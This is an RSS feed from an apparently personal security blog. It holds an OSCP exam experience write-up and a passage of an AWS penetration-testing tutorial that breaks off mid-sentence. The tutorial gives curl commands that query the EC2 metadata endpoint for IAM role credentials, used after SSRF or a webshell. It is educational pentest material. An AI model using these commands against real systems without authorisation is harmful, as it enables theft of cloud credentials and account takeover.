<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on MentalityXt</title><link>http://xtpol.com/posts/</link><description>Recent content in Posts on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Fri, 07 Mar 2025 18:06:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>How I Earned My OSCP / OSCP+ Certification in Early 2025</title><link>http://xtpol.com/p/oscp-certification-journey/</link><pubDate>Sat, 11 Jan 2025 12:20:00 +0800</pubDate><guid>http://xtpol.com/p/oscp-certification-journey/</guid><description>&lt;p&gt;I wasn&amp;rsquo;t sure what to say at the beginning, but if you&amp;rsquo;ve started searching for OSCP experience write-ups, you probably already know something about OSCP. Here are a few official pages with the requirements, in case you&amp;rsquo;re interested.&lt;/p&gt;&#10;&lt;p&gt;Introduction to OSCP+:&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/29840452210580-Changes-to-the-OSCP&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Introduction to the exam changes:&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/29865898402836-OSCP-Exam-Changes&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;OSCP report requirements (just take a look; most people use the project below):&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/360046787731-PEN-200-Reporting-Requirements&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Report project:&#10;&lt;a class="link" href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown" target="_blank" rel="noopener"&#10; &gt;https://github.com/noraj/OSCP-Exam-Report-Template-Markdown&lt;/a&gt;&#10;The template I used:&#10;&lt;a class="link" href="https://github.com/noraj/OSCP-Exam-Report-Template-Markdown/blob/master/src/OSCP-exam-report-template_OS_v2.md" target="_blank" rel="noopener"&#10; &gt;OSCP-exam-report-template_OS_v2.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Exam guide (if you&amp;rsquo;re going to take the exam, you absolutely must read this):&#10;&lt;a class="link" href="https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated" target="_blank" rel="noopener"&#10; &gt;https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide-Newly-Updated&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Those are the official requirements. Keep in mind that the exam guide may be updated, so you must find the latest version; it contains all the requirements. I&amp;rsquo;ll put my certificates here too. I&amp;rsquo;ve blurred my name and the QR codes because I don&amp;rsquo;t want to reveal my name for now, so only my OSID is visible. (I don&amp;rsquo;t know what went wrong with the built-in CDN. The images used http and were forcibly redirected to https. After I fixed that, they stopped using https, but I still couldn&amp;rsquo;t load the images from the source. The strange part is that the images were also inaccessible normally. On PC, just click the blank area where the image should be; I added a hyperlink. They load normally on mobile.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The blog below helped me enormously while I was learning. I&amp;rsquo;m not particularly good with domain environments, and this blog summarizes many domain penetration techniques. You can work through them one by one: see what the first item covers, build an environment, find a dedicated tutorial, and reproduce it. The blog is like a directory that also includes exploitation methods for each vulnerability. It was incredibly helpful to me. Many thanks to 0r@nge.&#10;&lt;a class="link" href="https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Let me talk about my learning journey. Back in 2022, I was doing an internship and wanted to earn a certification. I looked around, but none of the options seemed especially valuable. Then, by chance, I learned about OSCP and made it my goal. Most of the labs I worked through were from VulnHub, though, and my practice was very on-and-off.&#10;I kept doing VulnHub labs intermittently from 2022 into 2023, and I also touched a few during the first half of 2024. I didn&amp;rsquo;t truly commit until the National Day holiday in 2024. HW had ended a month earlier. Most of what I had studied and done was security-service work, limited to blue teaming and penetration testing. My red-team experience had never reached the provincial level. I had met many people, most of whom were at the provincial level but not the guo level (after all, someone who genuinely had gh-level skills probably wouldn&amp;rsquo;t come do blue-team work). I was then a senior about to graduate, and I could look for an internship in the first half of 2025. I thought about it for a long time, decided to take the OSCP, and then planned to find a red-team internship in the kind of role that interested me.&lt;/p&gt;&#10;&lt;p&gt;First, I&amp;rsquo;ll summarize what I think of VulnHub, Hack The Box, and the OSCP Challenge Labs.&#10;Most of the machines came from TJ NULL&amp;rsquo;s recommendations in the spreadsheet below:&#10;&lt;a class="link" href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513" target="_blank" rel="noopener"&#10; &gt;https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit?gid=530535513#gid=530535513&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;VulnHub leans heavily toward CTFs—to me, its machines practically are CTF challenges. Information may be hidden in source code, and instead of looking like a normal webpage, a page might resemble a pure CTF decryption puzzle. Some port-knocking techniques aren&amp;rsquo;t represented at all in HTB or OSCP, yet I remember seeing them often on VulnHub. If you don&amp;rsquo;t want to spend money but still want to practice on labs, I highly recommend it. Although it is very CTF-oriented and has only Linux machines, it can teach you many Linux services and commands as well as conventional penetration-testing techniques. You encounter things like UDP, FTP, NFS, SMB, and plenty more. Its advantages are that it strengthens your fundamentals, exposes you to many Linux services relevant to penetration testing, and is free. Its disadvantages are the excessive CTF focus, the need to download and set up the machines yourself, and the fact that it only has Linux machines. (I even bought a 1 TB portable hard drive solely to download VulnHub machines.)&lt;/p&gt;&#10;&lt;p&gt;Hack The Box has very few CTF elements. For example, when an author builds a machine around a particular vulnerability, they obviously need to devise an attack chain and make sure its logic holds together. At some point, that chain may require credentials or similar information, and this is where a CTF-like element may appear: its purpose is to make you obtain a key piece of information before you can move on. Of course, situations like this are extremely rare. HTB is excellent. Most of its machines are designed around a particular vulnerability or exploitation chain, with the goal of teaching you that method. It may look a little like simple reproduction, but the path is made of interlocking layers. Every step follows logically from the last, and the design is wonderfully clever. Sometimes it even involves low-level logic; only after reading a WP and understanding it do you realize just how interesting the design is. The advantage is that the machines are extremely well designed, so approaching them with the goal of learning is very rewarding and gives you a strong grasp of the underlying logic of certain services. The disadvantage is that it costs money. Many people also say it is harder than OSCP, while others say it works well as an OSCP supplement. I agree more with the latter view.&lt;/p&gt;&#10;&lt;p&gt;I never practiced on PG, but I&amp;rsquo;ll still share my impression. Before the exam, I specifically found a WP for a PG domain machine in TJ NULL&amp;rsquo;s list and read through it. Compared with HTB, it was even more ingenious, which fits OSCP&amp;rsquo;s long-standing idea of “try harder.” As I said above, HTB mainly focuses on one vulnerability or one exploitation chain. The PG domain machine I read about was more about layers of underlying logic fitting together, plus a small amount of vulnerability reproduction. Each part made sense, but it demanded broader thinking. That is completely different from HTB: HTB often asks you to dig stubbornly into one point, while PG is more about divergent thinking—if you&amp;rsquo;re sure there is no vulnerability here, hurry up and look somewhere else.&lt;/p&gt;&#10;&lt;p&gt;The OSCP Challenge Labs feel more like real penetration-testing environments. There isn&amp;rsquo;t one specific vulnerability; instead, each is a collection of machines. Every challenge tells you that a company has hired us to perform a penetration test, and you have to face all of that company&amp;rsquo;s servers. The goal is to simulate a real environment. Overall, though, they are fine and not especially difficult. Skylark is the harder one, and many people choose to skip it, but I worked through the labs in order. There are no WPs for the Challenge Labs; students and teachers on Discord will only give you some hints. Although the earlier labs, such as Medtech and Relia, aren&amp;rsquo;t actually difficult, I was stuck for a long time when transitioning from HTB. As I said above, HTB and PG require completely different ways of thinking, and the Challenge Labs also demand a completely different mindset from HTB. Medtech and Relia were mostly about changing my thinking and not limiting myself. I chose to finish Skylark because it would help me adapt to that mindset—treating it like a real environment. In the end, with help from classmates and teachers, I completed most of the labs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The final two are outside the exam scope. They are mainly labs for people preparing for OSCE³, but you can give them a try.&lt;/p&gt;&#10;&lt;p&gt;That was my learning journey. Most of the machines I practiced on were Linux, while OSCP focuses more on Windows, so I recommend making Windows your priority. It took exactly one month from registering for OSCP to receiving the certificate—31 days, to be precise. I registered on December 11, spent about 21 days completing seven Challenge Labs (finishing on January 1), booked the exam for noon on January 8, submitted my report at 3 a.m. on January 10, and received the certificate on the afternoon of January 11. During the six days from 1.1 to 1.8, I spent most of my time playing games. Games only feel fun when I have something else I should be doing :). Of course, I wasn&amp;rsquo;t relaxing with games the entire time. I revisited every lab except Skylark and reproduced them all, then specifically looked for WPs of domain labs. Everyone knows the conventional approaches; I wanted to learn some different ways of thinking about domain penetration. (Unfortunately, I didn&amp;rsquo;t get to use them.)&lt;/p&gt;&#10;&lt;p&gt;Let me briefly talk about some of the things I encountered during the exam, because this part really was interesting. I ultimately had only 70 points. There are no bonus points now, so the domain environment foothold plus three standalone machines gave me 70 points in total, and I scraped through the exam. The domain-controller section is no longer the same as OSCP A-C, which is worth noting.&#10;If you&amp;rsquo;ve completed OSCP A-C, you should understand what I mean after reading this. Normally, obtaining the domain foothold is very difficult. Once you gain access to the first machine at the domain entry point, however, the second host inside the domain is very easy. You don&amp;rsquo;t even need to escalate privileges on that second host before taking the domain controller. The route is: domain foothold -&amp;gt; low-privileged access to an internal domain host -&amp;gt; domain controller. The difficulty is concentrated in obtaining the domain foothold. The new exam moves that difficulty further down the chain. Getting the domain foothold is extremely, extremely, extremely, extremely, extremely easy—you can think of it as ten free points. They give you a way into the domain, but then the internal domain host becomes extremely difficult. You&amp;rsquo;re also given a low-privileged account, and all you need to do is escalate privileges. I had the sense that once I escalated, reaching the domain controller would not be especially hard. The problem was the privilege escalation, and that deserves a paragraph of its own.&lt;/p&gt;&#10;&lt;p&gt;When I worked through OSCP A-C, ordinary direct scanning caused no problems. In a domain environment, though, as soon as I used ligolo-ng to build a tunnel (chisel was even worse) and scan the internal network, I got a pile of errors.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was utterly despairing. The moment I ran an nmap scan, it threw errors. I wrote OffSec many emails, and they worked with me, but we simply couldn&amp;rsquo;t fix it. The nmap results were completely inaccurate and led me to make wrong judgments. I even installed nmap on the domain foothold machine, but it still couldn&amp;rsquo;t find anything. All I could do was search by intuition. I knew the normal ports in a domain environment, but if a service was on a nonstandard port, it was simply game over. On top of that, the tunnel crashed easily, which was the most painful part. I had not noticed any problem with ligolo-ng on Medtech or Relia. Perhaps it was because I changed networks while working through OSCP A-C. There was nothing I could do about that, and I couldn&amp;rsquo;t switch back. The new connection was extremely fast at 60MB/S, but the problem remained.&#10;This may be where chisel comes in (frp, ew, and lcx don&amp;rsquo;t work, so don&amp;rsquo;t bother trying). The curious difference is that ligolo-ng sends everything in one burst and then errors out, while chisel sends according to the available rate, staying under the limit. Imagine a water pipe: ligolo-ng throws an entire basin of water at it, and however much enters the pipe is all you get; it doesn&amp;rsquo;t care about the rest. chisel slowly pours the water in as fast as possible without spilling any. With chisel, an nmap scan took 5-6 hours to finish. By then, I had already realized something was wrong. I was using Ethernet at 60MB/s, and the connection was very stable with extremely low latency, but there was still a problem. It was basically black magic. If you run into the same issue, switch networks as quickly as you can.&lt;/p&gt;&#10;&lt;p&gt;Back to the main subject: the domain environment I failed to take down. The network problems above were a major reason. I gambled wrong; I didn&amp;rsquo;t expect the exam VPN to behave almost exactly like the regular environment. After entering through the domain foothold, you&amp;rsquo;re given some information about the next internal domain host, which lets you access it. I encountered the jxxxxs service, and my experience felt very similar to this person&amp;rsquo;s:&#10;&lt;a class="link" href="https://blog.restkhz.com/post/before-oscp-exam" target="_blank" rel="noopener"&#10; &gt;https://blog.restkhz.com/post/before-oscp-exam&lt;/a&gt;&#10;If you&amp;rsquo;re interested, take a look at that blog. It was precisely because of this post that I reviewed vulnerabilities involving jxxxxs. I could almost say that I understood the vulnerability-exploitation side and some of the standard approaches. (If you&amp;rsquo;re interested, try the Object box on HTB.) There was no privilege-escalation path on that internal domain host, and only this service was listening locally. I had two ideas. The first was jxxxxs-cli.jar. Unfortunately, anonymous access was disabled, and I knew the version. At first glance, that version appeared vulnerable to arbitrary file read. If I could reach the backend, I would be 100% certain of getting a shell, and that shell would most likely have the privileges I wanted. Although the installed version number looked lower than the vulnerable version, I put both version numbers into Google (one vulnerable version and the version on the target). Only then did I discover that the vendor had published an advisory for the vulnerable release in January 2024, while the version on the target had been released in May 2024. It was not vulnerable! I had spent half a day on it for nothing. That brought me to my second idea: find credentials for any account at all. If I could access the backend, I would undoubtedly be able to get a shell. I tried for a long time but couldn&amp;rsquo;t find a password. The jxxxxs directory couldn&amp;rsquo;t be entered, and there was no other information. I&amp;rsquo;m sure I tried most of the available methods.&#10;As I mentioned, the service listened locally. I had to use ligolo-ng to reach this domain member host, then use chisel to forward that host&amp;rsquo;s port to the domain foothold before I could access it. The tunnel was still terribly unstable, just as I described above. It kept crashing—three times in a single hour. The fix was to restart the target, upload ligolo-ng and chisel again, and rebuild the tunnel. It was agonizing. Getting the domain foothold took less than 30 minutes, but I then spent more than nine hours trying to escalate privileges. I&amp;rsquo;m certain I was only one username and password away. I never found them, and the repeated tunnel failures drained every bit of my energy.&lt;/p&gt;&#10;&lt;p&gt;Afterward, I thought it over. I hadn&amp;rsquo;t tried brute-forcing the application&amp;rsquo;s directories (the connection was far too slow to brute-force anything). Some credentials might have been hidden in files. Near the end, I discovered that a Jxxxx_history file was actually accessible, but I had no permission to access other users&amp;rsquo; directories, and the current user&amp;rsquo;s history contained nothing else. Perhaps that was a hint to use dir /S across every directory to find this history file. At that point, the exam had five hours left and I had been working continuously for 19 hours. I had no energy left.&lt;/p&gt;&#10;&lt;p&gt;Fortunately, network connections that didn&amp;rsquo;t involve a tunnel were unaffected. I&amp;rsquo;m better at Linux, but my exam set contained two Windows machines and one Linux machine. I got root on the Linux machine in two hours, and obtaining the initial shells on both Windows machines was also very easy. The difficult part was their unconventional privilege escalation, but fortunately, I solved it in the end. This is why, when discussing practice labs, I recommend doing more Windows and less Linux. I had done far too many Linux labs and too few Windows labs, while the exam emphasizes Windows.&lt;/p&gt;&#10;&lt;p&gt;That was my entire exam experience. I regret not taking the domain controller, but a good outcome is enough. After I finished my driving test, I once saw a line that said: the passing score is 90, and as long as you pass, stop worrying about the score. Once it&amp;rsquo;s over, you can even say you scored 101. You passed and earned the qualification, so don&amp;rsquo;t keep regretting it. I feel the same way. I can&amp;rsquo;t keep dwelling on past mistakes. I&amp;rsquo;ve already earned the right to get on the road; how much I improve from here depends on how well I drive. We always have to look forward.&lt;/p&gt;&#10;&lt;p&gt;On the night of the exam, with 13 hours remaining, I was already exhausted. I had only 30 points: the domain foothold and initial shells on two standalone Windows machines. I wanted to rest for a while, but I kept tossing and turning and thinking. I couldn&amp;rsquo;t sleep at all. I lay there for about an hour, and it felt endless. I wondered whether the entire journey—from when I first started working hard to staying away from home just before the New Year so I could prepare for this certification—had been worth it. Honestly, I even thought about giving up. I had spent most of the first 11 hours in the domain environment, and the tunnel kept crashing. It consumed all my energy. I even wanted to talk to the proctor and say, “Look, this tunnel simply won&amp;rsquo;t come up. I can&amp;rsquo;t take the next step at all!” I felt a little cursed for drawing a relatively difficult domain set. Snow was falling outside. I didn&amp;rsquo;t go out for food; I just forced down a few bites of bread I had bought earlier. After all that thinking, I realized I simply couldn&amp;rsquo;t sleep.&#10;Before continuing the exam, I thought about what I should do. First, I would try a few possibilities in the domain environment for no more than one hour. If they didn&amp;rsquo;t work, I would abandon it. If they did work and I took the domain controller, I would have 60 points in total, and taking the Linux machine would be enough. If I remained stuck in the domain environment, I would go straight after the Linux machine, then keep trying unconventional privilege-escalation approaches on the two Windows machines until the exam ended.&#10;Fortunately, my plan was right. I couldn&amp;rsquo;t make any further progress in the domain environment. I enumerated the initial Linux shell and tried both unconventional and conventional privilege escalation, then worked through the unconventional privilege escalation on the two Windows machines. I fully compromised all three standalone hosts.&#10;It was already 3 a.m. I was incredibly excited because I had reached the passing threshold, but I was also exhausted. Even so, I spent more than three additional hours reproducing and saving every step. That was the right decision: after I slept, my computer blue-screened and restarted. If I hadn&amp;rsquo;t saved everything and had instead waited until writing the report to retrieve it from Kali, I would have been unable to finish the report. It was wild. The blue-screen issue had existed for a long time and seemed to be related to the graphics driver. Kali had also restarted itself once while I was attempting the domain environment. So here&amp;rsquo;s another reminder: learn how to write the report in advance, and once you reach the passing threshold, remember to take a snapshot of Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-certification-journey/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally, a few words about the official OSCP course. Once I learned there were no bonus points, I went through the whole thing and read all of the text. I got something out of it, but not much. It mostly covers the fundamentals, so it is worth a look.&lt;/p&gt;&#10;&lt;p&gt;I also want to talk about the value of OSCP. Before the exam, I saw many discussions in the r/oscp community on Reddit. Some people said OSCP deliberately prevents a fixed number of candidates from passing to protect its value, making it extremely difficult, and that some people who passed may simply have been lucky. Others said many employers first check whether someone holds OSCP and give preference to OSCP holders, even though they had also met many highly skilled people without OSCP. They thought that was unfair and considered it a marketing tactic. Some people said they currently had no plan to take the exam but had learned a great deal from the course. Others mentioned needing 2-4 attempts to pass. What I want to say is that OSCP proves a floor for your ability. If you pass the OSCP exam, then however weak you may otherwise be, you still meet the OSCP standard: you can independently complete a penetration test and write a report, and you can allocate limited time sensibly to achieve your goal. It raises your floor. When you perform a penetration test for someone else, they have no idea what you can do. All you can tell them is how many penetration tests you&amp;rsquo;ve performed, how many CVEs you&amp;rsquo;ve found, and how many years you&amp;rsquo;ve worked in the field. But when you say you have OSCP, they already know that, at the very least, you can complete a penetration test. Your ceiling, of course, depends on you. That is why I believe OSCP carries so much weight.&lt;/p&gt;&#10;</description></item><item><title>AWS Cloud Penetration Testing</title><link>http://xtpol.com/p/aws-cloud-pentesting/</link><pubDate>Fri, 07 Mar 2025 18:06:00 +0800</pubDate><guid>http://xtpol.com/p/aws-cloud-pentesting/</guid><description>&lt;h2 id="exploiting-the-ec2-instance-metadata-service-imds"&gt;&lt;a href="#exploiting-the-ec2-instance-metadata-service-imds" class="header-anchor"&gt;&lt;/a&gt;Exploiting the EC2 Instance Metadata Service (IMDS)&#10;&lt;/h2&gt;&lt;p&gt;This is closely tied to IAM. I actually mentioned it in the basics section; exploiting it generally requires something like SSRF or a webshell.&lt;/p&gt;&#10;&lt;p&gt;Accessing the following URL from inside EC2 may return temporary credentials. This is essentially a temporary pair of keys that can be used to access every service permitted by the associated permissions.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The EC2 &lt;strong&gt;Instance Metadata Service (IMDS)&lt;/strong&gt; runs on this IP and provides:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance information&lt;/strong&gt; (such as &lt;code&gt;instance-id&lt;/code&gt; and &lt;code&gt;ami-id&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Network information&lt;/strong&gt; (such as &lt;code&gt;public-ipv4&lt;/code&gt; and &lt;code&gt;security-groups&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;IAM role credentials&lt;/strong&gt; (the most important part!)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;User data&lt;/strong&gt; (scripts executed when EC2 starts)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;As in the basics section, once you have these two keys, you can inspect S3, EC2, and a whole range of other resources. This is a high-severity issue, and the service is enabled by default.&lt;/p&gt;&#10;&lt;p&gt;For example:&lt;/p&gt;&#10;&lt;p&gt;Request path:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ami-id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iam/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instance-id&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instance-type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;network/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;public-ipv4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;security-groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The most dangerous endpoint is:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AdminRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then access:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;AccessKeyId&amp;#34;: &amp;#34;ASIA...&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;SecretAccessKey&amp;#34;: &amp;#34;....&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Token&amp;#34;: &amp;#34;....&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Expiration&amp;#34;: &amp;#34;2025-03-04T00:00:00Z&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You have successfully obtained &lt;strong&gt;temporary credentials for an AWS IAM role&lt;/strong&gt;, which can be used with the AWS CLI to perform various operations!&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try it in practice. I&amp;rsquo;ll start an EC2 instance here; the one used earlier is fine, as long as the endpoint is accessible. The takeaway is that if you find SSRF or get a shell through a web service running on an AWS EC2 instance, you may be able to take control of some of its resources.&lt;/p&gt;&#10;&lt;h3 id="practical-aws-metadata-service-exploitation"&gt;&lt;a href="#practical-aws-metadata-service-exploitation" class="header-anchor"&gt;&lt;/a&gt;Practical AWS Metadata Service Exploitation&#10;&lt;/h3&gt;&lt;p&gt;AWS &lt;strong&gt;uses IMDSv1 by default&lt;/strong&gt; (it can be accessed directly with &lt;code&gt;curl&lt;/code&gt;), but AWS allows administrators to enable &lt;strong&gt;IMDSv2&lt;/strong&gt;, which requires you 